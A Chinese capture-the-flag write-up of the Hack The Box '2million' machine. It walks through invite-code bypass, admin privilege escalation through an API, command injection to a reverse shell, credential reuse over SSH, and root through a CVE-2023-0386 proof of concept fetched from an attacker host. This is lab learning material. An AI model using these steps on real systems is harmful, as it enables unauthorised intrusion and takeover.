信息搜集
nmap
1 | ┌──(kali㉿kali)-[~] |
目录和子域名
扫描无果
1 | sudo dirsearch -u http://2million.htb |
从nmap扫描的信息得到主域名
1 | sudo echo "10.10.11.221 2million.htb" >> /etc/hosts |
www-data
邀请码
点击join会重定向到/invite
要求输入邀请码
注册功能也需要邀请码才能注册
F12
在invite
页面中会发现一个名为inviteapi.min.js
的js文件,内容如下:
即使做了js混淆,也可以明显看到verifyInviteCode
和makeInviteCode
函数
1 | eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('1 i(4){h 8={"4":4};$.9({a:"7",5:"6",g:8,b:\'/d/e/n\',c:1(0){3.2(0)},f:1(0){3.2(0)}})}1 j(){$.9({a:"7",5:"6",b:\'/d/e/k/l/m\',c:1(0){3.2(0)},f:1(0){3.2(0)}})}',24,24,'response|function|log|console|code|dataType|json|POST|formData|ajax|type|url|success|api/v1|invite|error|data|var|verifyInviteCode|makeInviteCode|how|to|generate|verify'.split('|'),0,{})) |
尝试在控制台中执行”inviteapi.min.js”文件中的makeInviteCode
函数
1 | Object { data: "Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb /ncv/i1/vaivgr/trarengr", enctype: "ROT13" } |
rot13在线解密得到
1 | In order to generate the invite code, make a POST request to /api/v1/invite/generate |
POST请求,在base64解密,成功得到邀请码
1 | ┌──(kali㉿kali)-[~] |
在/invite
输入邀请码会重定向到/register
,并且邀请码填充到了里面;
随意注册一个账号,并登录
获得管理员权限
/home/access
点击”Connection Pack”抓包,发现一个下载ovpn文件的api;
api漏洞常规测试:
1 | GET /api/v1/user/vpn |
发现/api/v1
有内容;内容是所有的api接口以及接口的作用
1 | { |
我们的账号只是普通用户;
返回401 Unauthorized
,看来是没有权限
最终发现/api/v1/admin/vpn/generate
API接口可以将用户帐户更改为管理员帐户
返回错误的数据类型
添加”Content-type: application/json”,返回缺少参数 “email”
添加一条”email”数据,返回缺少此参数“is_admin”
返回“is_admin”只能为0或1
最终成功修改为admin账号
命令注入
/api/v1/admin/vpn/generat
也是生成ovpn文件的接口;生成 VPN 密钥的可能不是 PHP 代码,而是一些生成 VPN 密钥必要信息的 Bash 工具。值得检查是否有任何命令注入。
如果服务器正在执行类似的操作gen_vpn.sh [username]
,那么我将尝试;
在用户名中放入username中以将其分解为新命令。我还将#
在末尾添加一个以注释掉我输入后可能出现的任何内容;然后发现/api/v1/admin/vpn/generate
接口存在命令注入
反弹一个shell到攻击机
1 | nc -lnvp 5555 |
POST请求数据如下
1 | { |
成功反弹shell后,存在一个admin用户
1 | www-data@2million:~/html$ ls -l /home |
在web应用默认目录下的.env
文件中发现用户admin的数据库密码,
1 | w-data@2million:~/html$ cat .env |
伪终端,连接数据库,在数据库中并没有找到可利用的信息,
1 | python3 -c "import pty;pty.spawn('/bin/bash')" |
尝试利用数据库密码连接admin的ssh
1 | ssh admin@10.10.11.221 |
user_admin
ssh连接成功,但是在连接ssh的时候,有这样一些信息
1 | You have mail. |
利用find命令查找有关’mail’的文件
1 | admin@2million:~$ find / -name "mail" 2>/dev/null |
根据每个目录的作用,基本可以确定在’/var’目录下
从中有一些关键词OverlayFS / FUSE
说明这台机器的内核会受到影响
1 | admin@2million:~$ cat /var/mail/admin |
user_root
我只是把关键词放到google;后面一些内容已经暴露了 一些exploit
其中排在google第一个的就是cve-2023-0386,文章中表明:如果系统的内核版本低于 6.2,则该系统可能容易受到攻击。
1 | admin@2million:~$ uname -a |
在 GitHub 上提供了针对此漏洞的 POC。虽然内容README.md
很少,但提供了足够的使用说明。
我使用git克隆到我本地,再用python服务将poc上传到目标机上
1 | python3 -m http.server |
1 | wget -r http://10.10.16.17:8000/CVE-2023-0386 |
再跟着readme.md操作;
编译
1 | make all |
使用
启动两个终端,在第一个终端中输入
1 | ./fuse ./ovlcap/lower ./gc |
在第二个终端输入
1 | ./exp |
成功提权为root